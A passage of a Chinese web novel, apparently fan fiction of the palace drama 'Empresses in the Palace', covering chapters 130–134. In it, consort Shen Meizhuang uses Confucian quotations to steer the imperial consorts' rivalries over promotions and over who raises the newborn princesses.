《在甄嬛传里打工的鬼》 第130 章 沈眉庄29 年家蛰伏下来后,朝堂上陆陆续续出头了不少以瓜尔佳氏为首的武将。他们态度带了些试探意味的冒头,在发现皇上确实开始广言纳谏时,便不着痕迹的活跃在朝堂之上。 虽然年羹尧手中的兵权被瓜分了不少,但却实打实的被皇上纳入了心腹范围,不仅在大封后宫时为年氏外嫁女华妃晋位贵妃,还接了年羹尧的次女年文妩进宫作为温宜公主的玩伴。 “皇后,朕想着后宫安宁,许多老人在位分上已久,正好年家安稳,朕想着晋华妃为贵妃。也好叫后宫一同庆贺,便大封六宫一次。” 皇上和皇后越来越像标准的政治结合夫妻了。后宫大小事情皇后不需要皇上插手,同理,皇上也给足了皇后尊重和权利。 “皇上说的极是,自延禧宫的吉嫔和欢贵人平安生下七阿哥和八阿哥,后宫许久未见喜事了。” 从前,后宫嫔妃有孕皇后着急;而如今,后宫没有孕信,皇后也着急。 她有些疑惑且眼神里带了隐晦怀疑的看了看皇上下半身,十分怀疑皇上是不是不太行。 皇上却没有注意到皇后的眼神,只自顾自的思考着:“虽然祖制上有二贵妃四妃六嫔的规矩。但规矩是死的,这次晋封,朕属意华妃,惠妃,齐妃都晋位于贵妃。 年家安分,华妃也伺候朕久了,这一个贵妃是当得的。惠妃,自是不必多说,满宫里就没有比惠妃更适合贵妃这个位置的。至于齐妃......” 皇上笑着甩了甩手里的十八籽,语气里都带了些轻松:“齐妃也是跟着朕的老人,三阿哥也大了,到了出宫建府的年龄,朕也不好叫这个长子失了面子。” 皇后没什么意见,只要不封皇贵妃,皇上爱封几个贵妃就封几个。左右是他们爱新觉罗氏养妾室,她有什么好急的。 她笑意盈盈的点了点头,似是极认同皇上的话:“是了,齐妃比华妃侍奉的时间更久,这贵妃之位也是当得的。” 皇上拍了拍皇后的手,放松的靠在了身后的迎枕上:“其余人,就由皇后看着办吧。” “既如此,四妃便只剩下端妃一人了。便晋敬嫔,丽嫔,吉嫔为妃。博尔济吉特贵人,曹贵人,欢贵人为嫔。淳常在,安常在,欣常在,甄常在为贵人,余官女子为答应。皇上看看,可有遗漏?” 皇上想了想说道:“余莺儿便罢了,只做她的官女子就好。博尔济吉特氏入宫安分,本就是为着满蒙联姻而来,便再赐个封号,平。安氏也懂事,赐封号文。” “皇上思虑周全。” 商议好了,皇后便懒得搭理还窝在软榻上的皇帝,自顾自的去小书房写了懿旨,也不挑什么日子时辰,叫江福海发了下去。 “着内务府准备着些,先把贵妃的册封礼安排好了,和妃位嫔位的叉开着。” 剪秋认真的听了而后下去抓紧办事。路过无所事事的苏培盛,嫌弃的白了一眼。 苏培盛:我都沦为御前总管之一了,怎么还无辜受到伤害呢? 自沈眉庄整理成册的后宫一些污糟和贪污的事摊在了皇上面前,苏培盛曾经擅自调动崔槿汐到碎玉轩和养心殿茶房的事便暴露了出来。 虽然身为御前总管确实有些额外的权利,但这一个崔槿汐的宫女得了苏培盛这么大的重视,皇上心里头难免不喜。 便提拔了另一位大太监谢成,曾经苏培盛的副侍作为御前总管之一,分摊了不少曾经独属于苏培盛的职责和权利。 皇上把沈眉庄的“知人善任”牢牢记在心里,行事逐渐不再畏手畏脚,大刀阔斧的整改了前朝与后宫之间纠缠不清的牵连,并且按照心意与能力,提拔了不少汉臣。 自己人的满臣也没有忘记安抚,总归皇后多开几次赏花宴,多拉几条红线,便能很好的转移宗亲们的注意力。 如今的帝后才算得上是夫妻一体,偶尔皇后雷雨天定时定点的进入魔障怪圈时。剪秋就会把曾经记录在册的惠贵妃语录拿出来逐条在自家主子耳边念叨。 虽然大部分她也不懂,甚至读着都很拗口。但这本子的作用比章太医的安神汤还有效。不仅可以治疗头痛还可以迅速哄着皇后入睡,是剪秋日常侍主最得力的帮手。 这次大封六宫刚刚结束,延禧宫的文贵人和碎玉轩的甄贵人,淳贵人便递上来了有孕的消息。 皇后舒了口气,竟是有种‘皇上还行,真是太好了’的感受。 天知道,那些宗亲福晋对皇上这仨瓜俩枣有多关注,后宫再没有好消息传来,她就要亲自给皇上炖十全大补汤了! 刚刚晋封,这时有孕便只赐了些布匹和首饰。淳贵人虽活泼,但这份纯真看久了未免失了些真诚,皇上并不算喜爱,至于这安贵人和甄贵人旗鼓相当的底层家世,晋位便是万万不可能了。 文贵人还好,她这么多年为了自己宫里这两个‘没头脑’把宫规研读的滚瓜烂熟,自然知道以自己的家世能得个贵人便是顶天儿的尊贵了。 而且皇后娘娘极为公平公正,只要宫里头有主位娘娘,孩子就记在主位娘娘名下抚养。她同吉妃关系很好,一个宫住着,能记在富察氏名下,不管是皇子还是公主,都比跟着她一个小官之女要有前途的多。 欢嫔虽然封了嫔,但她不太想搬出延禧宫,还依旧和吉妃安贵人一起住着。延禧宫虽然嘈杂些,但离皇后的景仁宫和惠贵妃的永和宫都很近,夏冬春莫名有种被大佬包围的安全感。 “皇后娘娘,华贵妃娘娘,惠贵妃娘娘,端妃娘娘求见。” 皇后每月都会叫沈眉庄和年世兰来景仁宫坐坐,一是为了对宫务进行汇总,二也是为了听听世家嫡女的掌家经验。 年世兰往后面一靠,满脸的不耐烦:“她又来做什么?晦气。” 皇后挑了挑眉,无视华贵妃的烦躁叫剪秋带着端妃进来。 “臣妾给皇后娘娘请安,给华贵妃惠贵妃请安。” 端妃紧紧的攥着手心里的帕子,于她而言,给年世兰低头请安,不亚于往心口上捅刀子。 明明打听过每月初年世兰才会出现在景仁宫,她都已经拖到了月末,怎的还是碰见了。 思及今日得来意,端妃闭了闭眼,觉得前途灰暗。 “起来吧。” 正好也歇一歇,皇后还以为几年了,惠贵妃的书袋子说完了呢,没想到还是日日听着,她的景仁宫有四个负责记笔记的宫女,笔杆子都用坏十几根了。 “端妃今日来可是有事?” 无事不登三宝殿,这位曾经和她那个死鬼姐姐要好的老女人从来就没瞧上过她,除却晨昏定省,景仁宫里从来没在别的时候看到过她。 如今定然没什么好事。 端妃抿了抿唇,一副欲言又止的样子,犹豫了片刻开口道:“只是见天气好,出来走走,路过景仁宫给皇后请安罢了。” 这话说的三人同时皱起了眉头。 沈眉庄不耐烦的碰了碰杯盖:“端妃有话不妨直说,子曰:孰谓微生高直?或乞醯焉,乞诸其邻而与之。本宫犹记得端妃也是将门之后,怎的如此行避人行径?” 虽然听不太懂沈眉庄中间那句‘子曰’,但年世兰听懂了避人行径四个字。她下巴高高抬起,似嫌弃似不屑般的扭过头。 端妃的面色白了红,红了又白。 “惠贵妃误会了,臣妾并未有其他想法。” 沈眉庄从上到下审视了一下端妃,眼神里并未有其他的意味,但端妃却有一种被扒光了看清内里的局促不安。 “本宫有一言说与你。” “臣妾洗耳恭听。” “子曰:巧言,令色,足恭,左丘明耻之,丘亦耻之。匿怨而友其人,左丘明耻之,丘亦耻之。” 华贵妃看着端妃骤然紧闭的双唇和难堪的神色,便知道惠贵妃说的不是什么好话,她有些疑惑又有些好奇的看向上头的皇后,只得了一个安抚的眼神。 “臣妾受教,便先告退了。” 端妃的步伐很快,身形有种隐隐的晃荡,似是后头被什么恶鬼追逐了一般。 眼瞧着端妃离开,华贵妃再也忍不住了。 “到底是什么意思?不要欺负本宫没读过几本书。” 皇后笑笑,看沈眉庄没有开口的意思才道:“惠贵妃的意思是,花言巧语,伪装容貌,过分恭敬,却隐藏内心的怨恨与人交朋友的人,是不坦荡不正直的。” 华贵妃突然转头看向沈眉庄,眼里竟然有十二万分的惺惺相惜:“惠贵妃,本宫承认你说话晦涩难懂本宫在翊坤宫骂了你好久。但是,本宫不得不说,你是这紫禁城里,最有眼光之人!” 第131 章 沈眉庄30 除却面对皇上,华贵妃很少有这般情绪激动的时候,此刻她看着沈眉庄的眼睛透露的满是深情。 沈眉庄却冷淡的笑了笑,一脸隐藏不住的嫌弃看向双眼亮晶晶的华贵妃:“本宫一向知道,以貌取人虽不可取,但确有其道理。” 年世兰若有所思的点了点头:“你说得对,端妃一看面相就是背信弃义之人。” 还不等深沉须臾,华贵妃突然伸头看向皇后又看了看沈眉庄道:“你们说,她今日来到底是什么事?” 皇后想了想,有些犹疑却带了五分肯定的意味开口道:“应当是为了文贵人或甄贵人肚子里的孩子而来。”至于为什么不是淳贵人,想来端妃也有自知之明。淳贵人就算不得宠,也是满军旗的女子。 华贵妃登时柳眉竖起,眼睛瞪大的像要喷出火来。 “她敢?!她这般寡鲜廉耻之人也配有孩子?!” 她重重的拍了一下手边的小桌,护甲飞出连指甲都断了两根。 汩汩的鲜血瞬间就染红了整个手掌,华贵妃似是感觉不到痛一般,眼睛通红的盯着皇后道:“皇后,本宫向来没求过你,但是这次,你不能答应她。” 皇后肃着脸,叫人给华贵妃包扎了手又叫了太医才道:“延禧宫有主位吉妃,而且丽妃敬妃和平嫔都没有孩子。” 华贵妃又看向一旁的沈眉庄,似是在寻求认同。 “甄贵人的家世和德行不符合一宫主位的标准,其名下的孩子若是公主,大概率会被抱给丽妃或者平嫔。若是皇子,则有很大的可能给敬妃。” 华贵妃这才长舒了口气,不过又皱了皱眉。 “她不会求到皇上那里吧?” 沈眉庄捻了块桃花酥送进嘴里,半晌才配合着清茶清了口:“本宫倒是觉得,她会直接去找甄贵人。” 皇后看向沈眉庄的眼神瞬间带了些同类之间的惺惺相惜。 随即又有些可惜的在心里叹了口气,这惠贵妃通透聪慧又貌美有家世。只可惜生的太小了,若是和她的死鬼姐姐一般大就好了。 眼瞧着华贵妃就要冲动的冲出去给端妃一个漂亮的耳光,沈眉庄不动声色的拉住她的衣袖。 “莽撞,本宫是怎么教你的?怎么这般冒失。” 华贵妃张了张嘴想要反驳,被眼疾手快的剪秋扶着坐了回去,失去了先机。 “子曰:不愤不启,不悱不发。举一隅不以三隅反,则不复也。” “举一隅不以三隅反?举一反三?” 华贵妃经过这么长时间的熏陶,到底是有些慧根了。 只不过单是理解就已经用尽了不多的脑子,举一反三什么的,实在做不到。 沈眉庄看了看她:“本宫曾经说过,出嫁从夫。聪明的女人,只用解决男人。而不是去找另一个女人的麻烦,知道了吗?” 皇后和华贵妃同时陷入沉思,又同时流露出恍然大悟的神情。 “你说的对,不能打不能骂,那两个人自以为是心思歹毒,解决是解决不完的,本宫现在,应该去磨皇上才是。” 说着,华贵妃把手头的账本和对牌都扔到了皇后手里,随即潇洒的大步离开景仁宫:“皇后娘娘,本宫手里的宫务暂时由您接手吧,本宫这十个月不得空。” 华贵妃的声音越来越小,皇后和沈眉庄面面相觑。 “本宫,是这个意思吗?” 沈眉庄有些自我怀疑的看着华贵妃消失不见的背影。 皇后支着脑袋哭笑不得的道:“她,理解力可能只有这个高度了。” 低头看了看增加的工作量,皇后看着沈眉庄想说什么,对上沈眉庄似笑非笑的神情歇了这份心。 “子曰:困而不学,民斯为下矣。皇后娘娘应当学习着过这席不暇暖的日子了。” 说完,沈眉庄起身施施然的带着皇后宫里的桃花酥就走了,留下一堆没有对完的账册,轻松的回宫逗儿子。 已经开始启蒙的弘昭继承了自家额娘的好记性和守规矩的性子。张口闭口的之乎者也十分得夫子的喜爱。 虽算不上过目不忘的神童,但熟读成诵,见其达意,于诗文古词都能说出自己的见解。 皇上难得得了这么一个聪慧且爱学习的皇子,自然抱了十二分的希望。 有了弘昭打样,皇上也时不时的把吉妃的弘暖和欢嫔的弘易叫进养心殿问上一问。 只是他有些心急了,不过两岁都不到孩子,话还没说利索。在养心殿失去了第十二个皇上最喜欢的粉色釉下彩瓶后,他终于放过了自己,也放过了两个小儿子。 不过,在皇上眼里‘恶人’自有‘恶人’磨。像泼猴一样的兄弟俩在弘昭这个哥哥面前,连小话都不敢说一句,比他这个皇阿玛还要威严的多。 “皇阿玛欲速则不达,见小利则大事不成。古有子路使子羔惟费宰。子曰:贼夫人之子。偃苗助长并非大利,反而可能会害了弟弟们。” 皇上扯出一抹假笑,老老实实的坐回到自己座位上:“是皇阿玛不好,弘昭说的对。那今日,弘昭的课业完成了,便回去找你额娘吧。” 弘昭小小的身子动作一丝不苟的行礼告退,皇上摸了摸自己干净的额头,总觉得这个‘子’怕是要贯穿他的后半辈子了。 好不容易喘口气,苏培盛端着一张老脸进来回道:“皇上,华贵妃娘娘来了。” 皇上下意识的揉了揉自己隐隐泛疼的腰,刚想开口叫她回去,又想着最近世兰的闹腾劲儿,若是被打发了,指不定又要作什么幺蛾子。 “罢了,让她进来吧。” 皇上开始琢磨怎么叫惠贵妃挟制华贵妃了。 只是还没等想出个一二来,便被勾着腰带回了寝殿,又是一夜荒唐。 外头守夜的苏培盛和谢成互相对视了一眼,无声的交流了方案。由苏培盛继续坚守岗位,谢成则跑去了太医院,要了些枸杞等大补之物。 华贵妃的磨人计划十分的有成效。端妃确实找到了甄嬛,并且两人达成了不为人知的共识。 她不再去景仁宫找皇后疏通,却也维持着自己的人设,只递了一盏菊花清露到养心殿。 可端妃没想到的是,华贵妃根本没有走。这盏菊花清露最终进了苏培盛的肚子。 而接下来的几个月,华贵妃严防死守,没有给端妃一丁点机会。 一直到甄嬛的肚子发动,华贵妃紧随着皇上来到碎玉轩。一番折腾,甄嬛生下了一个小公主。 本着好处不能给别人的原则,华贵妃抢先开口把这个小公主要给了丽妃。 在皇后和惠贵妃赞扬的眼神中,洋洋得意的抬着下巴,比得了公主的丽妃还要高兴两分。 一旁的皇上:世兰怎么越来越不聪明的样子?他就说纵欲过度不好吧! (昨儿晚上要睡了,又想了两个人设,阴阳怪气大师姐望夫成龙嫡传人纯元和不耽于情爱真正的将门虎女华妃。) (Ps:大清早亡了,我想咋写就咋写。) 第132 章 沈眉庄31 “今儿见着稀客了。华贵妃这是人逢喜事精神爽啊,既如此,便把你的对牌都领回去吧。” 难得华贵妃从养心殿抽身,重新回到景仁宫小会里。她摆弄着手里的珐琅彩瓷杯,嘴角都要和太阳肩并肩去了。 “辛苦皇后娘娘了,这解决了一桩心事啊,就不耽误为皇后分忧了。”华贵妃一开口就是那个熟悉的调调,一边上扬的嘴角和眼神里不由自主携带的挑衅叫她整个人看起来欠欠的。 皇后挑了挑眉,华贵妃还是一如既往的讨人厌,那张嘴甫一出声就叫她的手心痒痒,非得用华贵妃那张红润的脸方能解除一二。 “时运不齐,命途多舛。冯唐易老,李广难封。华贵妃,骄兵必败啊!” 皇后若有所思的看向沈眉庄,她突然福临心智般道:“难不成,安贵人?” 虽说她们一致认为贵人小主的孩子交于主位娘娘名下抚养已是自然。但,端妃毕竟有那份担了皇上罪责的名头在,即使这可能就是端妃的本意。 如若她真为了这个孩子,用了这份愧疚去求皇上,未必不会得偿所愿。 沈眉庄只撇了撇嘴,若甄嬛现在是皇上的宠妃,端妃未必会舍得这份消耗品似的情份。 可纵观甄嬛进宫后的种种情形来看,虽然明眼人都能瞧出这位甄贵人的走势不佳,但端妃毕竟不能以常人度之。说不得人家就觉得甄贵人奇货可居呢? 华贵妃看看皇后,看看对面的惠贵妃,总觉得自己被遗漏了。她不开心的拧了拧眉,使劲儿拍了拍身边的小几。 “你们又背着本宫说什么呢?” 不知道她是个不读书的吗?怎么一个个说话这般难懂。 什么时运不齐,安贵人的。 这安贵人明明扒着吉妃和欢嫔那两条大腿,时运可好的很。 “滕王阁序,华贵妃没有读过吗?” 惠贵妃的目光太过直白,仿佛在问华贵妃:你在闺中都干什么了! 华贵妃摸了摸自己红宝石的耳坠子,又理了理同款流苏,目光看天看地就是不看对面的惠贵妃。 皇后笑出了声:“好了,惠贵妃也莫要为难华贵妃了。年家得了这么一个小女儿,千娇百宠的紧,华贵妃不愿做的事,年遐龄才不会逼迫呢。” 沈眉庄有些不赞同的摇了摇头,目露严肃的道:“淑和和温宜可不能如此。女儿家更要读书明理。莫不然,被人卖了,还要帮那人数银子。” 这话不就说的华贵妃吗?被皇上卖了,还美滋滋的用体己银子搭钱帮他选小老婆呢。 许是皇后和惠贵妃的眼神太过明显,华贵妃有些恼羞成怒的甩了甩手:“本宫最讨厌你们这种咬文嚼字的,肚子里那点子墨水都用来磋磨人耳朵了。” 皇后先止住了笑意,她抬了抬手安抚了一下华贵妃的情绪:“惠贵妃的意思是,不要因为拦了端妃一次的动作就得意。她到底还在皇上那里有一分旧情。若她真用这份情谊换了安贵人肚子里的孩子,未必不会成功。” 华贵妃脸上的羞恼和放松一瞬间被收了回去,她面无表情的盯着手上纯金的护甲,没有说话。 “将欲歙之,必固张之;将欲弱之,必固强之。事极必反,你要心里头有章程才好。” 皇后皱了皱眉,这话有些涉及她的知识盲区了。 “不知这话出自何处?是何解?” 如今她也惫懒了些,不愿去亲自搜寻惠贵妃言里出处。 “【道德经】,将要收合的,必先张开;将要削弱的,必先强盛。这世间一饮一啄发展到极致,就会向相反的方向转化。” 沈眉庄说着,眼睛看向华妃,语调慢悠悠的,却带着一股阴凉之意。 华贵妃抬头看向沈眉庄的眼睛,黑漆漆的仿佛有一团旋涡。 她张了张嘴,脑子里莫名有两个念头并驾齐驱。 “你说的是皇上对端妃的愧疚,还是说的我年家。” 沈眉庄却突然笑了起来:“本宫就知道,你虽然不通诗书,但不是个蠢笨的。” 皇后坐直了身子,眼神里带着些讳莫如深的提防。 “本宫进宫时,是如何以贵人位分和不消十日的恩宠就能夺了你华妃的宫权,你当真不知为何?” 皇后和华贵妃看着沈眉庄总有种违和的不适感,可那份气度一如往日,两人只认为是惠贵妃太过聪慧的缘故,并未深思。 华贵妃突然有些颓然的靠在后面,闭上眼掩住了所有复杂的心绪。 “惠贵妃如此,就不怕皇上猜忌?” 皇后是真的欣赏沈眉庄,就这一份后宫独一无二的脑子便够她今后平步青云之路了。 “君子坦荡荡,小人长戚戚。端看世人与自我怎样评判了。” “好啊,惠贵妃说的很有道理。” 皇后笑了起来,皇上能承认自己是小人吗?既然不能,那他就不能对着坦荡守礼的惠贵妃发脾气。 这真是个无解的循环,惠贵妃说的都是事实,没有一点涉及到往日的恩怨。可又无不隐晦的在嘲笑皇上的小心眼和懦弱,真真是痛快啊。 华贵妃缓了缓神,放下那些可能叫她目眦欲裂的真相。如今已是这般境地,追根究底的意义远没有谋求以后的大。至于报仇,且等着吧,她还年轻,总能在侍疾时出了这口恶气的。 “所以,本宫要怎么绝了端妃这心思?” 她摊牌了,她不装了,她就是这么没什么脑子的莽夫。 “为何要绝了心思?” 沈眉庄真是有种恨铁不成钢的嫌弃,看样子以后开会带上曹嫔也不错,最起码不用她和皇后总停下来给笨蛋加课! 皇后也明白了沈眉庄的想法,她看向华贵妃也是一脸无奈:“所谓希望越高失望就越大。她身为妃位,又曾养在太后身下,更别说......,你如今严防死守了甄嬛的孩子,却不能如法炮制安贵人的胎。毕竟那份丁点的愧疚就能叫你的谋划成空了。” 掰开了揉碎了喂到华贵妃的脑子里,才看到华贵妃恍然大悟的样子:“是了,是该如此的,她也应当体验一下要而不得的苦楚才是。” “回去多跟你身后的曹嫔商量,告诉她,本宫眼里容不得人命官司。华贵妃啊,这人活着,才能体会痛苦,死了,可就一了百了了。” 沈眉庄起身拍了拍华贵妃的肩膀,随后动了动手行礼告退。 如果端妃安安分分的苟在延庆殿,沈眉庄甚至都想不起来她这个人来。 可她实在太能找事了,为什么不能安安稳稳的在这个已经规矩化的后宫隐身呢? 沈眉庄遥望了一眼延庆殿的方向,随即面无表情的开口道:“这宫里,每个奴才都有自己该走的道儿。哪个时辰哪个宫里的都得给本宫按照规矩来。叫下面的盯紧了,少叫那些冒头的乱逛。” 她倒是要看看,除却那些阴暗背后的小人行径,端妃还能有什么手段。 第133 章 沈眉庄32 “闲来无事不从容,睡觉东窗日已红。眉儿今日倒是悠闲的紧。” 这永和宫皇上自十一岁起,便日日来请安。对里面的一草一木一砖一瓦都十分的熟悉。 只是却又和眼前的景色完全不同。不大的小花园里支着一张酸枝木的美人榻,上头斜斜倚着一位身着玫瑰紫宫装的美人儿。 她闲适的闭着眼任由微风拂过芙蓉面,手里头那卷微微泛黄的【邹子终始】书开半卷,露出里头朱砂的批注,显示着主人的用功。 “幸沾分寸顾,散此千万忧。臣妾该做的事都完成了,自然就可以观风与月舒了。” “朕说不过你,弘昭跟你学了个十成十,真真儿是亲母子。” 想起那个才四岁就把‘人道经纬万端,规矩无所不贯,诱进以仁义,束缚以刑罚。’挂在嘴边的六阿哥,皇上的脑壳就突突的泛着痛。 “皇上怎的这个时候来了?” 沈眉庄觉得自家儿子好的不得了,自然不乐意听皇上酸溜溜的话,便端坐着摆出一副要讲课的样子,眼神里都带了三分审视差生的严苛。 皇上下意识的坐直了身子,想着近日里延庆殿送来的汤水和有些反常的华贵妃开口道:“朕有桩家案,一直不知该如何是好。” 许是因为沈眉庄入宫晚,也可能是因着她过于刚直的性格,皇上不是不知道端妃和华贵妃的意思,这才下意识的躲到永和宫里。 沈眉庄挥了挥手,采星带着人摆过来一个棋盘。 她伸了伸手,示意皇上落子。 沈眉庄的棋风向来是大开大合之道,就如同她这个人给大家的感觉一般。 “臣妾自学棋以来,一向秉承‘宁可直中取,不可曲中求’之路。虽未仰承名家之师,但书读的多了,也于为人德行有自己的理解和坚持。仰不愧于天,俯不怍于仁,此为大道之行也,天下为公。” 说着,沈眉庄手里的白子落在皇上的黑子中间,有些显眼,又有些挑衅之意。 “家事国事天下事,事事皆通。眉儿的行事之路,朕早就领教过。” “既是家事,臣妾便多一句嘴,【中庸】道:君子素其位而行,不愿乎其外。” 皇上看着棋盘没有抬头,只是犹疑间不得落子。 “若朕有愧于心呢?” “过而不能知,是不智也;知而不能改,是不勇也。皇上,人非圣贤,孰能无过。” 皇上手中的黑子终于落下,却看似有胜势,实则步步败退。 “人心难测。” 再回顾曾经,皇上也不得不感慨,有的人生下就是阴暗的,是谁他就不举例了。 “人心是难测,但雁过不能无痕,凡事论迹不求看心,【论语.为政】中有云:举直错诸枉,则民服;举枉错诸直,则民不服。” “不痴不聋不做家翁,素位而行,后宫有皇后还有你和华贵妃在,朕很放心。” 沈眉庄手中的白子落下,皇上已然没有了反抗之地。 她扯了扯嘴角,眼神里毫无笑意。什么很放心,不过是不用为了在华贵妃和端妃之间为难的托词罢了。端妃固然不是个东西,但皇上也没好到哪里去。 只不过两厢比较下,皇上还算是能听进去人话,比端妃那个死不悔改的毒蛇要有些属于人的味道。 一直到文贵人的肚子发动,端妃也并没有得到准信儿,只是到底没有被拒绝,始终抱着些希望。 皇后守着四公主降生后,当场宣布公主由延禧宫主位吉妃抚养。端妃踉跄后退一步,脸色苍白,眸子里含了莹莹水光看向皇上。 华贵妃上前一步走到端妃面前,她上身微微前倾凑近端妃的面容,脸上带着刻骨的恨意轻声道:“这种希望被打碎的感受怎么样?齐月宾,有我年世兰在一日,就不会叫你好过的。” 她脸上的笑容是那么嚣张又狠毒,端妃捂着胸口大口喘着气,眼神里的恨意不比华贵妃少。 敬妃和欣贵人躲在人后,对于这一室的暴风雨气氛有些瑟瑟发抖。这两人属于谨慎组,就像班上不拔尖也不拖后腿的同学一样。虽然不见得起眼,但很安全。 齐贵妃是最迟钝的,她只巴巴的看着文贵人白嫩的小公主,颇有些嫉妒的咂了咂嘴:“弘时生下来的时候虽然胖,但也是黑黢黢的。” 吉妃在一旁颇为赞同的点了点头,她的弘暖生下来红彤彤,听奶嬷嬷说,出生时越红,褪了红便越白。她一直抱着这个希望,可弘暖如今也要三岁了,和皇上一个肤色,她实在笑不出来。 丽妃和欢嫔也凑在两人中间,弘易出生时也算白净,但实在调皮,一个看不住就爬到树上去。 如今得了个公主,她只盼着是和陵容一个安静性子的。香香软软,用一些粉的,黄的,红的各种鲜艳的蜀锦云锦包裹起来的小姑娘。 而三公主是早产,又因着甄嬛怀孕时多思,身子便体弱些。丽妃便来沾一沾健康小孩的喜气,争取给自家小公主带去一点好运。 这四人是没头脑组,管她外头的气氛如何惊涛骇浪,自岿然不动,实则是感受不到而已。 曹嫔时刻注意着华贵妃的动向和表情,成为了一个真正意义上的军师。 皇后和惠贵妃稳坐在高堂上,看着底下嫔妃的千姿百态,对视一眼,笑容是如出一辙的规范。 一旁的甄嬛置身事外,她今日特意穿了月白色绣红梅的宫装。 头上的首饰也多用青白玉为主,辅以一支曾经得宠时皇上赏赐的琉璃梅花簪,妆容只重点描绘了眉眼,唇色微微点缀。整个人在一众全妆的宫妃中,显得一副弱不胜衣的模样。 皇上果然在高兴完公主的降生后把眼神放在了她身上。 甄嬛只做不知,她站在最后,表情里带了些拘谨,手中绞着帕子。 皇上刚有些意动,就听得耳边响起一阵如同经文般的动静:“立法令者以废私也,法令行而私道废。” 看着身边的惠贵妃,皇上理智回笼头脑清醒的轻咳两声:“好了,都散了吧。别打扰了文贵人和四公主休息。”说着,便提步往外走去。 而沈眉庄离开时路过甄嬛,随口说了一句:“甄贵人,跟本宫来。” 被留堂的甄嬛看了一眼皇上,却只得到了皇上冷漠的背影。 “本宫曾经说过,舒舒而脱脱兮,无畏避而忌前。莫要暗中弄鬼,不得彰显。” 甄嬛脸色迅速变红,她仿若被侮辱了般扬着脸反驳道:“惠贵妃的意思,嫔妾不明白。只是嫔妾也有一言:众女嫉余之蛾眉兮,谣诼谓余以善淫。” 沈眉庄蓦的笑出了声,这是【离骚】中的句子,用其他女子嫉妒自己的美貌,污蔑造谣这女子的行为不检点,甄嬛这是暗讽自己对她的恶意诋毁。 她从下往上看了甄嬛一圈,眼底的轻蔑虽然未从口出,但着实叫甄嬛难受。 “欲人勿闻,莫若勿言;欲人勿知,莫若勿为。甄贵人,本宫有一言赠予你:光明磊落,表里如一。” 这是沈眉庄第一次如此直白的说出某些话来,简单的连齐贵妃等人都能听懂。 甄嬛自然也是懂的。 她不服气,只觉得沈眉庄是故意为难。 接下来的日子,甄嬛确实改变了套路,不再若隐若现的勾引皇上,反而堂而皇之的往养心殿送汤水和荷包等物。 皇上收了也有些感慨,去碎玉轩看过她几次。 甄嬛做好了再次被沈眉庄嘲讽而后回怼的准备,却没想到并没有人在意她这般如此直白的争宠,好似是什么很正常的事一样。 甄嬛这才明白过来,她们这些后妃争宠,就是很正常的事,这般大大方方的行径反而不会引起其她人的妒忌。 自这日起,甄嬛的小动作也消失了,平日里按照规矩请安,去启祥宫看看公主,便是和大家一道在御花园看看花聊聊天,日子越来越轻松。 沈眉庄很欣慰的点了点头,这不是都能当个正常人吗?让她看看,不正常的还剩哪个学生? (好大风好大风,感觉楼都在晃!大家都注意安全呀!) 第134 章 沈眉庄33 “今日难得聚在一起,大家可有什么想听的戏,一并报上来就是。” 皇后在畅音阁宴请宗亲福晋和后宫嫔妃们一起听戏热闹热闹,顺便也是变相的给三阿哥相看一下。 到底是曾经她寄予厚望的憨厚阿哥,虽然齐贵妃为人蠢笨就连拍马屁都不一定能说到她心缝里,但毕竟这么多年跟在身后,皇后想开了自然会多眷顾两分。 “托皇后娘娘的福,这可是京中最负盛名的花莲戏班子,里头都是响当当的角儿,要是想着请过府唱一曲,怕是约到了明年呢。” 花花轿子众人抬,皇后自开始干人事后,为这些宗室栓了不少令大家都满意的婚事,一国之母的气度再也不需要靠那些东珠和金黄色的朝服来衬托。即便如今身着简单的烟霞紫常服,众人眼里的尊敬和拜服也未减弱。 “既然大家喜欢,咱们就开了宴,品茶享点心,不必拘束。” 笑了一整天儿,也被胭脂水粉熏了一整天儿,沈眉庄觉得自己的嗅觉都要失灵了,闻什么都是香的刺鼻。 好在今日也不算白辛苦一遭,齐贵妃中意了满洲镶蓝旗老臣喜塔腊.迈柱的孙女,喜塔腊.佳茵。 皇后也觉着不错,准备拿去给皇上瞧瞧,没问题便直接赐婚了。 另今日有索绰罗氏的福晋特意来惠贵妃跟前儿请安套了近乎,瞧着是相中了惠贵妃外祖家内阁学士的小儿子现任光禄寺卿的李怀瑾。 皇后看了眼自己身边一左一右的两位贵妃,突然觉得心情很好。 “畅音阁也忒小了些,偌大个紫禁城,难不成连个好好儿听戏的地方都没有吗?” 华贵妃蔫蔫的靠在自己的轿辇上,翻了个白眼神色有些萎靡。内外命妇再带着适龄的孩子,连带着上头咿咿呀呀的唱曲,即使热爱热闹的华贵妃,也有些受不住了。 皇后揉了揉有些酸胀的额角,没好气的瞪了华贵妃一眼。 “哪里没有,你不是把甄贵人扔到了咱们听戏的地方吗?” 华贵妃顿时有些不乐意的撇了撇嘴:“那也是跟皇后娘娘学的,若不是您把芳贵人放到那里。臣妾也不知道紫禁城的戏台子也能住嫔妃。” 沈眉庄抬了抬手,不耐烦的打断了二人没有意义的争论。 “皇上向来节俭,皇后可有晋淳贵人为一宫主位的意向?” 皇后点了点头:“淳贵人的父亲方佳氏颇得圣心,不然也不会以十三岁的芳龄进宫了。这次生下孩子后,不论男女都是要晋一位的。” “既如此,便找个没有主位的宫殿把二人挪进去就是了。” 先帝嫔妃多时,嫔位都不一定能捞上个正殿,如今她们的日子已经算好过不少了。 皇后想了想道:“便搬去储秀宫吧。欣贵人虽是宫中老人了,但家世算不得拔尖,皇上也不宠爱,想来等下次大封六宫才有些晋位的可能。” 她挑了挑眉,以皇上这抠门的性子,这次若不是为了华贵妃和惠贵妃,也断不会大封后宫的。 等下次,谁知道要等到什么时候了。 三人交换了下眼神,看的出来都是对皇上颇为了解的。 “那正好,也不用收拾了。趁着淳贵人还没生,直接搬走吧。再把碎玉轩收拾出来,下次就不用巴巴的挤在畅音阁了。” 碎玉轩里头有个小戏台子,殿门外还有个大戏台子,又紧挨着御花园,开了侧门宽敞的很。 华贵妃是个雷厉风行的性子,说干就干。也不管今日是不是天晚了,叫周宁海又跑了一趟,通知两位已经准备入睡的淳贵人和甄贵人两日后搬宫。 淳贵人倒是好运道,行李刚整理完,就发动了。 平安生下一个健康的小公主,晋为嫔位,也算是到头了。 “娘娘,雨花阁的人来报,近日端妃娘娘似是频繁外出,每每回宫都是带着笑意的。” 沈眉庄放下手里的碧玉竹节鸳鸯耳坠,又拿起一副玉兰凝露羊脂玉的耳坠戴上,左右瞧了瞧,才不在意的说道:“去了哪里?总不会是储秀宫吧。” 